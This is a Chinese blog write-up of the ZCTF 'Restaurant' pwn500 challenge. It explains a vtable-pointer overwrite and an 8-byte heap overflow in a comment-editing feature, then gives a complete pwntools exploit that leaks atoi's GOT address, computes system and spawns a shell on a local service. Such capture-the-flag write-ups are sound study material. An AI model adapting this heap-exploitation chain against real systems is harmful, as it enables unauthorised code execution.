ZCTF-Restaurant-Pwn500
版权声明:本文为博主原创文章,未经博主允许不得转载。
这道压轴的题也是名副其实,很有分量。这也是自己第二次做C++类型的PWN。含有两个漏洞,缺一不可,一个漏洞将指定位置覆盖为对象虚表的地址,另外一个漏洞用来堆溢出(DW-Shoot)。
第一个漏洞所在位置:
第二个漏洞所在位置:如果连续对一种食物编辑评论,第二次则可以8字节的溢出,覆盖下一个堆块的堆头。
由于堆块在分配时的对齐策略,堆块分配后可以使用的内存可能比申请的要大。这道题目中,主食/主菜/汤都有3个种类,只有同时能选中主食的第二种,主菜的第二种才能溢出,而这个选择是随机的,POC所以并不能每次都成功,我这个POC成功的概率为1/9,其实多试几次就能顺利拿到shell。我大概试了3-4次就拿到了shell。上图:
1 from pwn import * 2 import time 3 #by wangaohui 4 #context.log_level = 'debug' 5 6 s= remote('127.0.0.1',10001) 7 time.sleep(2) 8 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant')[0]) 9 raw_input('go!') 10 s.recvuntil('Please enter your name: ') 11 s.sendline('/bin/sh;') 12 s.recvuntil('you are the luckey ') 13 heap = int(s.recvuntil('th guest.\n')[:-10]) 14 print 'heapaddr is %x' %heap 15 s.recvuntil('Are you from China? (y/n) ') 16 s.sendline('n') 17 s.recvuntil('please enter your country: '); 18 vtp = 0x404710 19 data = 'a'*10 + '\x00' + 'a'*5 + '\x1c\x47\x40\x00' 20 s.sendline(data) 21 s.recvuntil('How old are you: ') 22 s.sendline('10') 23 24 s.recvuntil('8. Finish your order.') 25 s.sendline('1') 26 s.recvuntil('Successfully order a staple food, enjoy it!') 27 28 s.recvuntil('8. Finish your order.') 29 s.sendline('2') 30 s.recvuntil('Successfully order an entree, enjoy it!') 31 ''' 32 s.recvuntil('8. Finish your order.') 33 s.sendline('3') 34 s.recvuntil('Successfully order a staple food, enjoy it!') 35 ''' 36 37 s.recvuntil('8. Finish your order.') 38 s.sendline('7') 39 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 40 s.sendline('1') 41 s.recvuntil('How does this dish look: ') 42 s.sendline('xxx') 43 s.recvuntil('How does this dish taste: ') 44 s.sendline('yyy') 45 46 fakefd = heap + 0x20 47 fakebk = heap + 0x28 48 appcom = 'a'*40 + p64(0x80) + p64(0x90) 49 tastecom = p64(0x81) + p64(fakefd) + p64(fakebk) 50 s.recvuntil('8. Finish your order.') 51 s.sendline('7') 52 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 53 s.sendline('1') 54 s.recvuntil('How does this dish look: ') 55 s.sendline(appcom) 56 s.recvuntil('How does this dish taste: ') 57 s.sendline(tastecom) 58 59 s.recvuntil('8. Finish your order.') 60 s.sendline('5') 61 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ') 62 s.sendline('2') 63 s.recvuntil('the chef has already started to cook.') 64 65 appcom = 'xxx' 66 tastecom = p64(0x6060A0)#atoi's got 67 s.recvuntil('8. Finish your order.') 68 s.sendline('7') 69 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 70 s.sendline('1') 71 s.recvuntil('How does this dish look: ') 72 s.sendline(appcom) 73 s.recvuntil('How does this dish taste: ') 74 s.sendline(tastecom) 75 76 s.recvuntil('8. Finish your order.') 77 s.sendline('6') 78 s.recvuntil('Your age: ') 79 atoiaddr = int(s.recvuntil('\n')[:-1]) 80 print 'atoiaddr is: %x' % atoiaddr 81 systemaddr = atoiaddr - 0x36360 + 0x414F0 82 print 'systemaddr is: %x' % systemaddr 83 84 appcom = 'xxx' 85 tastecom = 'a'*8 + p64(systemaddr) 86 s.recvuntil('8. Finish your order.') 87 s.sendline('7') 88 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 89 s.sendline('1') 90 s.recvuntil('How does this dish look: ') 91 s.sendline(appcom) 92 s.recvuntil('How does this dish taste: ') 93 s.sendline(tastecom) 94 95 s.recvuntil('8. Finish your order.') 96 s.sendline('8') 97 98 s.recvuntil('3.Just so so!') 99 s.sendline('3.Just so so!') 100 s.recvuntil('Thank you for your comment,bye!') 101 s.interactive()